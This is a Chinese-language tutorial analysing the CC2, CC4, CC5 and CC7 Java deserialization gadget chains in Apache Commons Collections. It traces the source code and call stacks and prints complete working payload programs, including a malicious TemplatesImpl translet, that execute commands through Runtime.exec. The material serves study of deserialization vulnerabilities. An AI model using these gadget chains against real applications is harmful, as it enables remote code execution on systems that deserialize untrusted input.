CC4 链

在 Commons Collections 版本为 3.2.1 的背景下,可以使用 TransformedMap 或者 LazyMap 来执行 transform 方法,但当 Commons Collections 的版本提升到 4.0 时,就又多出了一种办法:利用 TransformingComparator 来执行 transform 方法。

先前我们将 AnnotationInvocationHandler 和 HashMap 作为入口类,利用它们的 readObject 方法来反序列化,但是现在我们还可以利用 PriorityQueue 的 readObject 来反序列化。

实验环境

  • java = 8u65
  • CommonsCollections = 4.0

pom.xml 中导入如下依赖:

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

利用链之 TransformingComparator

在 CommonsCollections 4.0 版本中,TransformingComparator 实现了 Serializable 接口,可以被序列化,而在 3.2.1 版本中是不可序列化的。

TransformingComparator 的 compare 方法中就调用了 transform 方法:

1
2
3
4
5
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

transformer 是 TransformingComparator 中定义的属性:

1
private final Transformer<? super I, ? extends O> transformer;

这个属性在构造方法中被赋值:

1
2
3
4
public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

另一个构造方法又调用了这个构造方法:

1
2
3
public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

都是 public ,好说。

入口类之 PriorityQueue

PriorityQueue#siftDownUsingComparator()

PriorityQueue 类的 siftDownUsingComparator 方法调用了 comparator 的 compare 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

comparator 是 PriorityQueue 中定义的成员属性:

1
private final Comparator<? super E> comparator;

在构造方法中被赋值:

1
2
3
4
5
6
7
8
9
public PriorityQueue(int initialCapacity,
Comparator<? super E> comparator) {
// Note: This restriction of at least one is not actually needed,
// but continues for 1.5 compatibility
if (initialCapacity < 1)
throw new IllegalArgumentException();
this.queue = new Object[initialCapacity];
this.comparator = comparator;
}

这个构造方法又被另一个构造方法调用:

1
2
3
public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}

只需要将 PriorityQueue 的 comparator 属性赋值成 TransformingComparator 对象即可。

PriorityQueue#siftDown()

PriorityQueue 的 siftDown 方法调用了 siftDownUsingComparator 方法:

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
PriorityQueue#heapify()

PriorityQueue 的 heapify 方法调用了 siftDown 方法:

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

但是通过代码我们可以发现,进入 for 循环的条件是 (size >>> 1) - 1 >= 0 ,意思就是将 size 的二进制位无符号右移一位(高位用 0 补全)再减去 1 要大于等于 0 ,故而 size 要大于等于 2 。

size 是 PriorityQueue 中定义的属性,初始值为 0:

1
private int size = 0;

想要增加 size 的值,可以通过 PriorityQueue 的 offer 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

从代码中可以看出,offer 方法每被调用一次,size 都会在原来的基础上加 1 。

当然也可以使用 PriorityQueue 的 add 方法,add 方法调用了 offer 方法:

1
2
3
public boolean add(E e) {
return offer(e);
}

至于这里为什么不直接用反射修改呢,原因是 size 表示的是这个优先队列中元素的个数:

如果不往这个优先队列中添加元素,而是直接暴力反射修改 size 的值,那么在序列化时将会报错,导致反序列化无法进行。

具体可以看 PriorityQueue 的 writeObject 方法:

1
2
3
4
5
6
7
8
9
10
11
12
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
// Write out element count, and any hidden stuff
s.defaultWriteObject();

// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));

// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
PriorityQueue#readObject()

PriorityQueue 的 readObject 方法调用了 heapify 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

调用栈总结

1
2
3
4
5
6
7
8
9
10
11
12
13
PriorityQueue#readObject()
PriorityQueue#heapify()
PriorityQueue#siftDown()
PriorityQueue#siftDownUsingComparator()
TransformingComparator#compare()
ChainedTransformer#transform()
ConstantTransformer#transform()
InstantiateTransformer#transform()
TrAXFilter#TrAXFilter()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()

payload

Eval 类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;
import java.io.Serializable;

public class Eval extends AbstractTranslet {
// 恶意代码放在静态代码块中
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

// 需要重写父类的两个方法
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

执行程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {

public static void main(String[] args) {
try{
// 初始化 TemplatesImpl 对象
TemplatesImpl templates = new TemplatesImpl();
// 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC2457test\\target\\classes\\com\\miaoji\\Eval.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{code});
// _name 不为空
setFieldValue(templates, "_name", "test");

// 利用 ChainedTransformer 执行 templates.newTransformer()
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 利用 TransformingComparator 执行 transform 方法
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

// 初始化入口类 PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue(2);
// 向 priorityQueue 中添加元素,使得元素个数 size 增加
priorityQueue.add(1);
priorityQueue.add(1);

// 在 add 调用完之后,再反射修改 comparator 属性为 TransformingComparator 对象
Object[] objects = new Object[]{templates, null};
setFieldValue(priorityQueue, "comparator", comparator);

// 序列化成字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
oos.flush();
oos.close();

// 反序列化字节数组
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

} catch (Exception e) {
e.printStackTrace();
}

}

//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}

这里需要再说明一下,为什么不在构造方法中将 PriorityQueue 的 comparator 属性为 TransformingComparator 对象呢?因为 add 方法会提前调用 comparator.compare() ,造成序列化时命令执行,具体调用如下:

1
2
3
4
5
6
7
8
9
PriorityQueue#add() 

-> PriorityQueue#offer()

-> PriorityQueue#siftUp()

-> PriorityQueue#siftUpUsingComparator()

-> PriorityQueue.comparator#compare()

所以 payload 是在 add 方法调用完后再将 comparator 属性赋值。

CC2 链

CC2 链与 CC4 链的相同之处在于它们都将 PriorityQueue 作为入口类,利用 TransformingComparator#compare() 来调用 transform 方法。不同之处在于 CC2 链用 InvokerTransformer 代替 TrAXFilter + InstantiateTransformer 来执行 TemplatesImpl#newTransformer()

调用栈总结

1
2
3
4
5
6
7
8
9
10
11
12
PriorityQueue#readObject()
PriorityQueue#heapify()
PriorityQueue#siftDown()
PriorityQueue#siftDownUsingComparator()
TransformingComparator#compare()
ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
public static void main(String[] args) {
try{
// 初始化 TemplatesImpl 对象
TemplatesImpl templates = new TemplatesImpl();
// 这里需要用到恶意类的字节码文件,通过 maven 编译后 target 目录下有字节码文件
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\miaoj\\Documents\\Java安全代码实验\\CC2457test\\target\\classes\\com\\miaoji\\Eval.class"));
setFieldValue(templates, "_bytecodes", new byte[][]{code});
// _name 不为空
setFieldValue(templates, "_name", "test");

// 利用 ChainedTransformer 执行 templates.newTransformer()
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null,null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 利用 TransformingComparator 执行 transform 方法
TransformingComparator comparator = new TransformingComparator(chainedTransformer);

// 初始化入口类 PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue(2);
// 向 priorityQueue 中添加元素,使得元素个数 size 增加
priorityQueue.add(1);
priorityQueue.add(1);

// 在 add 调用完之后,再反射修改 comparator 属性为 TransformingComparator 对象
Object[] objects = new Object[]{templates, null};
setFieldValue(priorityQueue, "comparator", comparator);

// 序列化成字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(priorityQueue);
oos.flush();
oos.close();

// 反序列化字节数组
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

} catch (Exception e) {
e.printStackTrace();
}

}

//反射设置 Field
public static void setFieldValue(Object object, String fieldName, Object value) {
try {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
} catch (Exception e) {
e.printStackTrace();
}
}
}

CC5 链

CC5 链将 BadAttributeValueExpException#readObject() 作为入口,利用 TiedMapEntry#tostring() 来调用 LazyMap#get() ,进而调用 transform 方法。

实验环境

  • java = 8u65
  • CommonsCollections = 3.2.1

pom.xml 中导入如下依赖:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

利用链之 TiedMapEntry

前面在使用 TiedMapEntry 时,用的是它的 getValue 方法来调用其成员属性 map 的 get 方法:

1
2
3
public Object getValue() {
return map.get(key);
}

TiedMapEntry 的 toString 方法又调用了 getValue 方法:

1
2
3
public String toString() {
return getKey() + "=" + getValue();
}

入口类之 BadAttributeValueExpException

BadAttributeValueExpException 的 readObject 方法调用了 valObj 的 toString 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

我们看看 valObj 是怎么来的:

ObjectInputStream.GetField gf = ois.readFields();

  • ois:一个 ObjectInputStream 实例,用于从输入流中读取对象。
  • readFields():读取对象的字段,并返回一个 ObjectInputStream.GetField 对象,这个对象包含了序列化对象的字段和值。

Object valObj = gf.get("val", null);

  • gf:前面获取的 ObjectInputStream.GetField 对象。
  • get(“val”, null):从 gf 中获取名为 val 的字段值。如果 val 字段不存在,则返回 null。

所以说,valObj 的值就是 val 的值,而 val 是 BadAttributeValueExpException 中定义的属性:

1
private Object val;

所以我们只需要将 val 赋值成 TiedMapEntry 对象即可。

但是我们并不能用构造方法赋值,因为构造方法会提前调用 val 的 toString 方法,造成命令执行:

1
2
3
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}

所以这里选择反射修改 val 的值。

再来看判断,调用 valObj.toString() 的前提是:

1
2
3
4
5
6
7
8
System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean

这个式子返回 true 。若 valObj 为 TiedMapEntry 对象,则所有的 instanceof 判断均为 false 。System.getSecurityManager() 作用是获取当前 Java 虚拟机 (JVM) 安装的 SecurityManager( Java 中的一种安全机制,用于在运行时对代码进行安全检查),默认情况下是没有安装的,所以返回 null ,那么上述判断默认情况下为 true 。

当然也就可以知道:理论上,如果受害者安装了 SecurityManager ,CC5 链就行不通。

调用栈总结

1
2
3
4
5
6
7
8
BadAttributeValueExpException#readObject()
TiedMapEntry#toString()
TiedMapEntry#getValue()
LazyMap#get()
ChainedTransformer#transform()
ConstantTransformer#transform()
InvokerTransformer#transform()
Runtime#exec()

payload

CC5 链还是采用 InvokerTransformer 命令执行的办法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws Exception {

// 利用 ChainedTransformer 执行 Runtime.getRuntime.exec("calc")
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

// 利用 LazyMap 的 get 方法执行 ChainedTransformer 的 transform 方法
Map uselessMap = new HashMap();
Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

// 利用 TiedMapEntry 的 toString 方法执行 LazyMap 的 get 方法
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

// 利用 BadAttributeValueExpException 的 readObject 方法执行 TiedMapEntry 的 toString 方法
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

// 反射设置 val ,不在构造方法中设置 val 是为了避免提前代码执行
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException, tiedMapEntry);

// 序列化成字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
oos.flush();
oos.close();

// 反序列化字节数组
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();

}
}

CC7 链

CC7 链将 Hashtable#readObject() 作为入口,利用 AbstractMap#equals() 来调用 LazyMap#get() ,进而调用 transform 方法。

利用链之 AbstractMap

AbstractMap 的 equals 方法调用了 m 的 get 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public boolean equals(Object o) {
if (o == this)
return true;

if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

来看 m 在 equals 方法中的定义:

1
Map<?,?> m = (Map<?,?>) o;

所以只要将传入的 o 设置成 LazyMap 对象就好了。

利用链之 AbstractMapDecorator

AbstractMapDecorator 的 equals 方法会调用 map 的 equals 方法:

1
2
3
4
5
6
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}

map 是 AbstractMapDecorator 中定义的成员属性:

1
protected transient Map map;

在构造方法中被赋值:

1
2
3
4
5
6
public AbstractMapDecorator(Map map) {
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}

可以将 map 赋值成 AbstractMap 对象。

入口类之 Hashtable

Hashtable 的 reconstitutionPut 方法调用了 e.key.equals() :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

这里需要注意几个点:

一是 value 需要不为空,否则抛出异常;

二是 for 循环中的 if 判断条件 (e.hash == hash) && e.key.equals(key) ,使用 && 符号,具有短路特性,也就是说只有左边的式子返回 true ,右边的式子才会执行。

Hashtable 的 value 属性可以通过 put 方法赋值;

要调用到 e.key.equals() 我们需要保证 e.key 是一个 AbstractMapDecorator 对象,但是 AbstractMapDecorator 是一个抽象类,并不能直接 new 对象,已知 LazyMap 继承了 AbstractMapDecorator 这个抽象类,所以可以考虑将 e.key 赋值为 LazyMap 对象;

e 是传入的参数 Entry[] tab 数组的某一个键值对,想知道这个 tab 是什么,还得往后看。

Hashtable 的 readObject 方法调用了 reconstitutionPut 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();

// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();

// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;

// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}

可以看到传入 reconstitutionPut 方法的第一个参数是 table ,table 是 Hashtable 中定义的一个属性:

1
private transient Entry<?,?>[] table;

这个属性被 transient 修饰,不能参加序列化,也就是说反序列化通过 Hashtable 的 readObject 方法第一次调用 reconstitutionPut 方法时,table 至少是没有值的。

再放一遍 reconstitutionPut 代码:

回到前面的问题,第一次调用 reconstitutionPut 方法时 table 为空,故而 for 循环中取到的 e 为空,直接跳出 for 循环,进行后面的赋值:

1
2
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);

这里调用了 Entry 的构造方法,会将其成员属性 hash 赋值为前面调用 key.hashCode() 算出来的 hash 值。

Entry 是 Hashtable 中的一个静态内部类,其构造方法如下:

第一次 reconstitutionPut 方法被调用完后,会回到 readObject 方法的循环中,Hashtable 中的键值对有多少个,这个 for 循环就执行多少次,reconstitutionPut 方法就被调用多少次,那么如果在 Hashtable 中放入两个 LazyMap 对象:

1
2
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");

reconstitutionPut 方法自然会执行两次,第二次调用时,tab[index] 就有值了,且只有一个值,就是 lazyMap1 => “test” ,我们又知道,hash 是调用 key.hashCode() 得到的,lazyMap1.hashCode() 会调用其父类 AbstractMapDecorator 的 hashCode() 方法,并最终会调用其成员属性 map 的 hashCode() 方法。

若 map 是 HashMap 对象,则会调用 HashMap 的 hashCode() 方法,这个方法在其静态内部类 Node<K,V> 中:

1
2
3
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}

可以看到,HashMap 的 hashCode() 方法是分别计算其 key 的 hash 和 value 的 hash 再相乘得到的。

接下来需要使判断 e.hash == hash 返回 true ,即使 lazyMap1.hashCode() == lazyMap2.hashCode() 成立。但是 lazyMap1 与 lazyMap2 又不能完全一样,因为 hashtable.put 在往 hashtable 对象里添加键值对的时候,如果键一样的话,会将值替换掉,如果 lazyMap1 与 lazyMap2 完全一样,那么第二个 put 就只会做替换,这样 hashtable 对象里面就仍然只有一个键值对。

所以这里我们沿用前辈们的思路:

1
2
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);

由于 “yy” 与 “zZ” 算出来的 hash 值一样,所以这样设置好两个 LazyMap 对象中的 map 属性之后,hashCode() 方法得出来的结果是一样的。

最后一点就是,hashtable 的 put 方法会提前调用 equals 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public synchronized V put(K key, V value) {
// Make sure the value is not null
if (value == null) {
throw new NullPointerException();
}

// Makes sure the key is not already in the hashtable.
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
@SuppressWarnings("unchecked")
Entry<K,V> entry = (Entry<K,V>)tab[index];
for(; entry != null ; entry = entry.next) {
if ((entry.hash == hash) && entry.key.equals(key)) {
V old = entry.value;
entry.value = value;
return old;
}
}

addEntry(hash, key, value, index);
return null;
}

仔细观察上述代码,发现跟 reconstitutionPut 方法很像,所以为了防止提前命令执行,先传入一个空的 Transformer 到 LazyMap 即可。

有了上述的结论,就可以开始书写 payload 了。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {

public static void main(String[] args) throws Exception {
// 利用 ChainedTransformer 执行 Runtime.getRuntime.exec("calc")
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 先传入空的 Transformer 数组,防止 put 时命令执行
Transformer[] transformers1 = new Transformer[]{};
Transformer chainedTransformer = new ChainedTransformer(transformers1);

// 新建两个 HashMap 作为传入的参数
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// 新建两个 LazyMap ,确保 hashCode() 结果一样
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);

// 新建入口类 Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test1");
hashtable.put(lazyMap2, "test2");

// 通过反射设置 transformer 数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

//上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
lazyMap2.remove("yy");

// 序列化成字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.flush();
oos.close();

// 反序列化字节数组
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}

}

调用栈总结

梳理调用栈之前,先知道两件事:

  • LazyMap 继承了 AbstractMapDecorator
  • HashMap 继承了 AbstractMap
1
2
3
4
5
6
7
8
9
Hashtable#readObject()
->Hashtable#reconstitutionPut()
->Hashtable#reconstitutionPut()
LazyMap#equals() -- 即 AbstractMapDecorator#equals()
HashMap#equals() -- 即 AbstractMap#equals()
LazyMap#get()
ChainedTransformer#transform()
InvokerTransformer#transform()
Runtime#exec()

参考文章

CC链 1-7 分析

https://www.yuque.com/5tooc3a/jas/gggdt0vwi5n0zwhr#CUjq4